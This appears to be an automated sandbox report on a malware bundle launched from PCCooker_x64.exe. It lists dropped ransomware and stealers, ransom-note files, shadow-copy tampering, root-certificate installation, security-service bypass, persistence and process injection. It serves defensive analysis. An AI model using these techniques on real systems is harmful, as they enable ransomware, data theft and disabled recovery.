File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.0.36.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-40_altform-lightunplated_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.0.36.0_x64__8wekyb3d8bbwe\AppxSignature.p7x	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\digsig\js\nls\fi-fi\RGNR_48B172E2.txt	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\unified-share\js\nls\nl-nl\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\vfs\Fonts\private\GARAIT.TTF	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.549981C3F5F10_2.2106.2807.0_x64__8wekyb3d8bbwe\Assets\Store\SplashScreen.scale-400_contrast-white.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsFeedbackHub_1.2103.1172.0_neutral_split.scale-125_8wekyb3d8bbwe\Assets\FeedbackHubSmallTile.scale-125.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_1.0.36.0_x64__8wekyb3d8bbwe\Assets\AlarmsAppList.targetsize-36_altform-unplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsTerminal_1.6.10571.0_x64__8wekyb3d8bbwe\Images\Square44x44Logo.targetsize-60_altform-unplated.png	asena.exe
File opened for modification	C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\Functions\GlobalMock-B.Tests.ps1	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\progress_spinner_dark2x.gif	asena.exe
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\signatures\images\s_opencarat_18.svg	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Document Themes 16\Theme Fonts\Constantia-Franklin Gothic Book.xml	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\Access2019VL_KMS_Client_AE-ul.xrm-ms	asena.exe
File opened for modification	C:\Program Files\Microsoft Office\root\Templates\1033\Pitchbook.potx	asena.exe
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\90.0.818.66\ResiliencyLinks\Locales\devtools\de.pak.DATA	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ScreenSketch_11.2104.2.0_x64__8wekyb3d8bbwe\microsoft.system.package.metadata\resources.3e53a08d.pri	asena.exe
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.12827.20400.0_x64__8wekyb3d8bbwe\images\LinkedInboxBadge.scale-150.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\node_modules\@fluentui\theme\lib-amd\types\ISemanticTextColors.js	asena.exe
File created	C:\Program Files\WindowsApps\MicrosoftWindows.Client.WebExperience_321.14700.0.9_x64__cw5n1h2txyewy\Dashboard\WebContent\wwwroot\RGNR_48B172E2.txt	asena.exe
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\core\dev\nls\ko-kr\RGNR_48B172E2.txt	asena.exe
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\1033\RGNR_48B172E2.txt	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.42251.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.targetsize-96_altform-unplated_contrast-black.png	asena.exe
File opened for modification	C:\Program Files\WindowsApps\Microsoft.Paint_10.2104.17.0_x64__8wekyb3d8bbwe\Assets\PaintStoreLogo.scale-125.png	asena.exe

Drops file in Windows directory 9 IoCs

description	ioc	Process
File created	C:\Windows\sysmablsvr.exe	pp.exe
File opened for modification	C:\Windows\sysmablsvr.exe	pp.exe
File created	C:\Windows\syschvard.exe	newtpp.exe
File opened for modification	C:\Windows\syschvard.exe	newtpp.exe
File created	C:\Windows\sysarddrvs.exe	t.exe
File opened for modification	C:\Windows\sylsplvc.exe	pi.exe
File created	C:\Windows\Tasks\Hkbsse.job	Amadey.exe
File opened for modification	C:\Windows\sysarddrvs.exe	t.exe
File created	C:\Windows\sylsplvc.exe	pi.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
6040	sc.exe
11644	sc.exe
8736	sc.exe
9576	sc.exe
8224	sc.exe
5720	sc.exe
8568	sc.exe
2968	sc.exe
7768	sc.exe
5460	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 8 IoCs

pid	pid_target	Process	procid_target
11648	4352	WerFault.exe	330
10884	7440	WerFault.exe	331
10640	10368	WerFault.exe	382
7180	7572	WerFault.exe	393
7680	7948	WerFault.exe	407
8896	12152	WerFault.exe	413
10504	11980	WerFault.exe	377
10464	228	WerFault.exe	81

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DRIVEapplet.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysarddrvs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pi.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sylsplvc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	4363463463464363463463463.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	notepad.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	JJECGHJDBF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	66c0b1c0b0cf5_crypted.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3544436.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	11.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysmablsvr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	newtpp.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	syschvard.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	jet.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	CryptoWall.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	973012736.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	a76e49df84ba2a7b33e8ea959995b5e6faecb90d551ef169d8272ce9042c35a5.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	peinf.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tdrpload.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Set-up.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	t.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	PCCooker_x64.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	06082025.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	aaa.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Amadey.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IJDHCBGHJE.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	asena.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RedLineStealer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	yihiKsom.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dialer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	r.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	semgm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AdminHIDGCFBFBF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	pei.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe

Checks SCSI registry key(s) 3 TTPs 5 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\PartitionTableCache = 00000000040000004fbc8ede2bb95e8f0000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000c01200000000ffffffff0000000027010100000800004fbc8ede0000000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000d01200000000000020ed3a000000ffffffff0000000007000100006809004fbc8ede000000000000d012000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0ff3a0000000000000005000000ffffffff000000000700010000f87f1d4fbc8ede000000000000f0ff3a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0000000000000000000000004fbc8ede00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters\Partmgr\SnapshotDataCache = 534e41505041525401000000700000008ec7416a0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	asena.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Device Parameters	asena.exe

Checks processor information in registry 2 TTPs 8 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	test.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	test.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	RegAsm.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	RegAsm.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
5844	timeout.exe

Interacts with shadow copies 3 TTPs 1 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
2032	vssadmin.exe

Kills process with taskkill 7 IoCs

evasion

pid	Process
10740	taskkill.exe
1124	taskkill.exe
12028	taskkill.exe
9436	taskkill.exe
10164	taskkill.exe
10256	taskkill.exe
7028	taskkill.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064	RegAsm.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F1A578C4CB5DE79A370893983FD4DA8B67B2B064\Blob = 0b000000010000004800000054006900740061006e00690075006d00200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790000000200000001000000cc0000001c0000006c00000001000000000000000000000000000000010000007b00340031003700340034004200450034002d0031003100430035002d0034003900340043002d0041003200310033002d004200410030004300450039003400340039003300380045007d00000000004d006900630072006f0073006f0066007400200045006e00680061006e006300650064002000430072007900700074006f0067007200610070006800690063002000500072006f00760069006400650072002000760031002e00300000000000030000000100000014000000f1a578c4cb5de79a370893983fd4da8b67b2b06420000000010000000a03000030820306308201eea003020102020867f7beb96a4c2798300d06092a864886f70d01010b0500302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f72697479301e170d3233303331343130333532305a170d3236303631373130333532305a302e312c302a06035504030c23546974616e69756d20526f6f7420436572746966696361746520417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a028201010086e4577a5861ce819177d005fa51d5515a936c610ccfcbde5332cd151da647ee881a245c9b02833b02af3d76fe20bd3bfaf7a20973e72ebd9440d09d8c3d2713bdf0d09feb9532acd7a42da2a952daa86a2a88ee427d30959d90bfba05276aa02998a6986fc01306629b79b8405d1f1fa6d9a42f827afc7566340dc2de27012b94bb4a27b3cb1c219a3cb2c14203f34451bd626520edd4dbcc414f593f2acbc48479f7143cbe139cfd129c913e5303dc20f94c44358901b69a848d7ea02e308a311560ac00ae009a29109aeed9713dd8919b97ed598058e17f0726c7a020f710abc06291dfaaf181c6be6a76c89cb68eb0b0ec1cd95f326c7e55588bfd76c5190203010001a328302630130603551d25040c300a06082b06010505070301300f0603551d130101ff040530030101ff300d06092a864886f70d01010b0500038201010070851293d757e982797dc5f7f27da894ef0cdb329f06a6096e0cf604b0e54711560ef40f5282082e210f55a3db41f312548b7611f5f0dacea3c78b13f6fc243c02b106665be69e184088415b273999b877bee353a248cec7eeb5a095c2174bc9526cafe3372c59dbfbe758134ed351e5147273fec68577ae4552a6f99ac80ca8d0ee422af528858c6be81cb0a8031ab0ae83c0eb5564f4e87a5c06295d3903eee2fdf92d62a7f4d4054deaa79bcaebda4e8b1a6efd42aef9d01c7075728cb13aa8557c85a72532b5e2d6c3e55041c9867ca8f562bbd2ab0c3710d83173ec3781d1dcaac5c6e07ee726624dfdc5814cffd336e17932f89beb9cf7fdbee9bebf61	RegAsm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
12104	notepad.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
9564	schtasks.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
9880	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
5640	powershell.exe
5640	powershell.exe
1988	powershell.exe
1988	powershell.exe
5392	powershell.exe
5392	powershell.exe
5392	powershell.exe
5640	powershell.exe
5640	powershell.exe
1988	powershell.exe
1988	powershell.exe
7164	powershell.exe
7164	powershell.exe
7064	powershell.exe
7064	powershell.exe
6740	powershell.exe
6740	powershell.exe
6816	powershell.exe
6436	powershell.exe
6436	powershell.exe
6816	powershell.exe
5940	powershell.exe
5940	powershell.exe
5916	powershell.exe
5916	powershell.exe
6992	powershell.exe
6992	powershell.exe
7116	powershell.exe
7116	powershell.exe
7256	powershell.exe
7256	powershell.exe
5824	powershell.exe
5824	powershell.exe
7412	powershell.exe
7412	powershell.exe
7728	powershell.exe
7728	powershell.exe
6196	powershell.exe
6196	powershell.exe
5764	powershell.exe
5764	powershell.exe
5928	powershell.exe
5928	powershell.exe
5736	powershell.exe
5736	powershell.exe
7300	powershell.exe
7300	powershell.exe
6504	powershell.exe
6504	powershell.exe
7640	powershell.exe
7640	powershell.exe
7484	powershell.exe
7484	powershell.exe
6740	powershell.exe
5548	powershell.exe
5548	powershell.exe
5940	powershell.exe
7164	powershell.exe
7164	powershell.exe
5548	powershell.exe
7064	powershell.exe
7064	powershell.exe
6436	powershell.exe
6436	powershell.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
3428	CryptoWall.exe
392	explorer.exe

Suspicious behavior: SetClipboardViewer 3 IoCs

pid	Process
7616	syschvard.exe
5000	sysarddrvs.exe
3036	sylsplvc.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeIncreaseQuotaPrivilege	4184	wmic.exe
Token: SeSecurityPrivilege	4184	wmic.exe
Token: SeTakeOwnershipPrivilege	4184	wmic.exe
Token: SeLoadDriverPrivilege	4184	wmic.exe
Token: SeSystemProfilePrivilege	4184	wmic.exe
Token: SeSystemtimePrivilege	4184	wmic.exe
Token: SeProfSingleProcessPrivilege	4184	wmic.exe
Token: SeIncBasePriorityPrivilege	4184	wmic.exe
Token: SeCreatePagefilePrivilege	4184	wmic.exe
Token: SeBackupPrivilege	4184	wmic.exe
Token: SeRestorePrivilege	4184	wmic.exe
Token: SeShutdownPrivilege	4184	wmic.exe
Token: SeDebugPrivilege	4184	wmic.exe
Token: SeSystemEnvironmentPrivilege	4184	wmic.exe
Token: SeRemoteShutdownPrivilege	4184	wmic.exe
Token: SeUndockPrivilege	4184	wmic.exe
Token: SeManageVolumePrivilege	4184	wmic.exe
Token: 33	4184	wmic.exe
Token: 34	4184	wmic.exe
Token: 35	4184	wmic.exe
Token: 36	4184	wmic.exe
Token: SeIncreaseQuotaPrivilege	4184	wmic.exe
Token: SeSecurityPrivilege	4184	wmic.exe
Token: SeTakeOwnershipPrivilege	4184	wmic.exe
Token: SeLoadDriverPrivilege	4184	wmic.exe
Token: SeSystemProfilePrivilege	4184	wmic.exe
Token: SeSystemtimePrivilege	4184	wmic.exe
Token: SeProfSingleProcessPrivilege	4184	wmic.exe
Token: SeIncBasePriorityPrivilege	4184	wmic.exe
Token: SeCreatePagefilePrivilege	4184	wmic.exe
Token: SeBackupPrivilege	4184	wmic.exe
Token: SeRestorePrivilege	4184	wmic.exe
Token: SeShutdownPrivilege	4184	wmic.exe
Token: SeDebugPrivilege	4184	wmic.exe
Token: SeSystemEnvironmentPrivilege	4184	wmic.exe
Token: SeRemoteShutdownPrivilege	4184	wmic.exe
Token: SeUndockPrivilege	4184	wmic.exe
Token: SeManageVolumePrivilege	4184	wmic.exe
Token: 33	4184	wmic.exe
Token: 34	4184	wmic.exe
Token: 35	4184	wmic.exe
Token: 36	4184	wmic.exe
Token: SeBackupPrivilege	3080	vssvc.exe
Token: SeRestorePrivilege	3080	vssvc.exe
Token: SeAuditPrivilege	3080	vssvc.exe
Token: SeDebugPrivilege	2232	4363463463464363463463463.exe
Token: SeDebugPrivilege	4680	24.exe
Token: SeDebugPrivilege	308	25.exe
Token: SeDebugPrivilege	680	22.exe
Token: SeDebugPrivilege	4584	21.exe
Token: SeDebugPrivilege	2724	23.exe
Token: SeDebugPrivilege	2744	20.exe
Token: SeDebugPrivilege	2224	15.exe
Token: SeDebugPrivilege	3140	17.exe
Token: SeDebugPrivilege	3524	16.exe
Token: SeDebugPrivilege	1248	11.exe
Token: SeDebugPrivilege	1776	18.exe
Token: SeDebugPrivilege	3468	14.exe
Token: SeDebugPrivilege	4076	12.exe
Token: SeDebugPrivilege	3560	19.exe
Token: SeDebugPrivilege	4648	13.exe
Token: SeDebugPrivilege	3792	10.exe
Token: SeDebugPrivilege	4936	9.exe
Token: SeDebugPrivilege	3464	8.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
9880	msedge.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4892 wrote to memory of 2232	4892	PCCooker_x64.exe	79
PID 4892 wrote to memory of 2232	4892	PCCooker_x64.exe	79
PID 4892 wrote to memory of 2232	4892	PCCooker_x64.exe	79
PID 4892 wrote to memory of 228	4892	PCCooker_x64.exe	81
PID 4892 wrote to memory of 228	4892	PCCooker_x64.exe	81
PID 4892 wrote to memory of 228	4892	PCCooker_x64.exe	81
PID 4892 wrote to memory of 3240	4892	PCCooker_x64.exe	82
PID 4892 wrote to memory of 3240	4892	PCCooker_x64.exe	82
PID 4892 wrote to memory of 3240	4892	PCCooker_x64.exe	82
PID 4892 wrote to memory of 3144	4892	PCCooker_x64.exe	83
PID 4892 wrote to memory of 3144	4892	PCCooker_x64.exe	83
PID 3240 wrote to memory of 4184	3240	asena.exe	84
PID 3240 wrote to memory of 4184	3240	asena.exe	84
PID 3240 wrote to memory of 2032	3240	asena.exe	85
PID 3240 wrote to memory of 2032	3240	asena.exe	85
PID 4892 wrote to memory of 3428	4892	PCCooker_x64.exe	88
PID 4892 wrote to memory of 3428	4892	PCCooker_x64.exe	88
PID 4892 wrote to memory of 3428	4892	PCCooker_x64.exe	88
PID 3428 wrote to memory of 392	3428	CryptoWall.exe	90
PID 3428 wrote to memory of 392	3428	CryptoWall.exe	90
PID 3428 wrote to memory of 392	3428	CryptoWall.exe	90
PID 392 wrote to memory of 1516	392	explorer.exe	94
PID 392 wrote to memory of 1516	392	explorer.exe	94
PID 392 wrote to memory of 1516	392	explorer.exe	94
PID 3144 wrote to memory of 308	3144	Bomb.exe	95
PID 3144 wrote to memory of 308	3144	Bomb.exe	95
PID 3144 wrote to memory of 4680	3144	Bomb.exe	96
PID 3144 wrote to memory of 4680	3144	Bomb.exe	96
PID 3144 wrote to memory of 2724	3144	Bomb.exe	97
PID 3144 wrote to memory of 2724	3144	Bomb.exe	97
PID 3144 wrote to memory of 680	3144	Bomb.exe	98
PID 3144 wrote to memory of 680	3144	Bomb.exe	98
PID 3144 wrote to memory of 4584	3144	Bomb.exe	99
PID 3144 wrote to memory of 4584	3144	Bomb.exe	99
PID 3144 wrote to memory of 2744	3144	Bomb.exe	100
PID 3144 wrote to memory of 2744	3144	Bomb.exe	100
PID 3144 wrote to memory of 3560	3144	Bomb.exe	101
PID 3144 wrote to memory of 3560	3144	Bomb.exe	101
PID 3144 wrote to memory of 1776	3144	Bomb.exe	102
PID 3144 wrote to memory of 1776	3144	Bomb.exe	102
PID 3144 wrote to memory of 3140	3144	Bomb.exe	103
PID 3144 wrote to memory of 3140	3144	Bomb.exe	103
PID 3144 wrote to memory of 3524	3144	Bomb.exe	104
PID 3144 wrote to memory of 3524	3144	Bomb.exe	104
PID 3144 wrote to memory of 2224	3144	Bomb.exe	105
PID 3144 wrote to memory of 2224	3144	Bomb.exe	105
PID 3144 wrote to memory of 3468	3144	Bomb.exe	106
PID 3144 wrote to memory of 3468	3144	Bomb.exe	106
PID 3144 wrote to memory of 4648	3144	Bomb.exe	107
PID 3144 wrote to memory of 4648	3144	Bomb.exe	107
PID 3144 wrote to memory of 4076	3144	Bomb.exe	108
PID 3144 wrote to memory of 4076	3144	Bomb.exe	108
PID 3144 wrote to memory of 1248	3144	Bomb.exe	109
PID 3144 wrote to memory of 1248	3144	Bomb.exe	109
PID 3144 wrote to memory of 3792	3144	Bomb.exe	110
PID 3144 wrote to memory of 3792	3144	Bomb.exe	110
PID 3144 wrote to memory of 4936	3144	Bomb.exe	111
PID 3144 wrote to memory of 4936	3144	Bomb.exe	111
PID 3144 wrote to memory of 3464	3144	Bomb.exe	112
PID 3144 wrote to memory of 3464	3144	Bomb.exe	112
PID 3144 wrote to memory of 2712	3144	Bomb.exe	113
PID 3144 wrote to memory of 2712	3144	Bomb.exe	113
PID 3144 wrote to memory of 4856	3144	Bomb.exe	114
PID 3144 wrote to memory of 4856	3144	Bomb.exe	114

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:1928
- C:\Windows\SysWOW64\dialer.exe
  "C:\Windows\system32\dialer.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  PID:6592

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3312
- C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe
  "C:\Users\Admin\AppData\Local\Temp\PCCooker_x64.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4892
- - C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe
    "C:\Users\Admin\AppData\Local\Temp\4363463463464363463463463.exe"
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    PID:2232
  - - C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\nxmr.exe"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Executes dropped EXE
      PID:8748
  - - C:\Users\Admin\AppData\Local\Temp\Files\pp.exe
      "C:\Users\Admin\AppData\Local\Temp\Files\pp.exe"
      4⤵
      Executes dropped EXE
      Adds Run key to start application
      Drops file in Windows directory
      System Location Discovery: System Language Discovery
      PID:8956
    - - C:\Windows\sysmablsvr.exe
        
        C:\Windows\sysmablsvr.exe
        5⤵
        Modifies security service
        Windows security bypass
        Executes dropped EXE
        Windows security modification
        System Location Discovery: System Language Discovery
        
        PID:8912
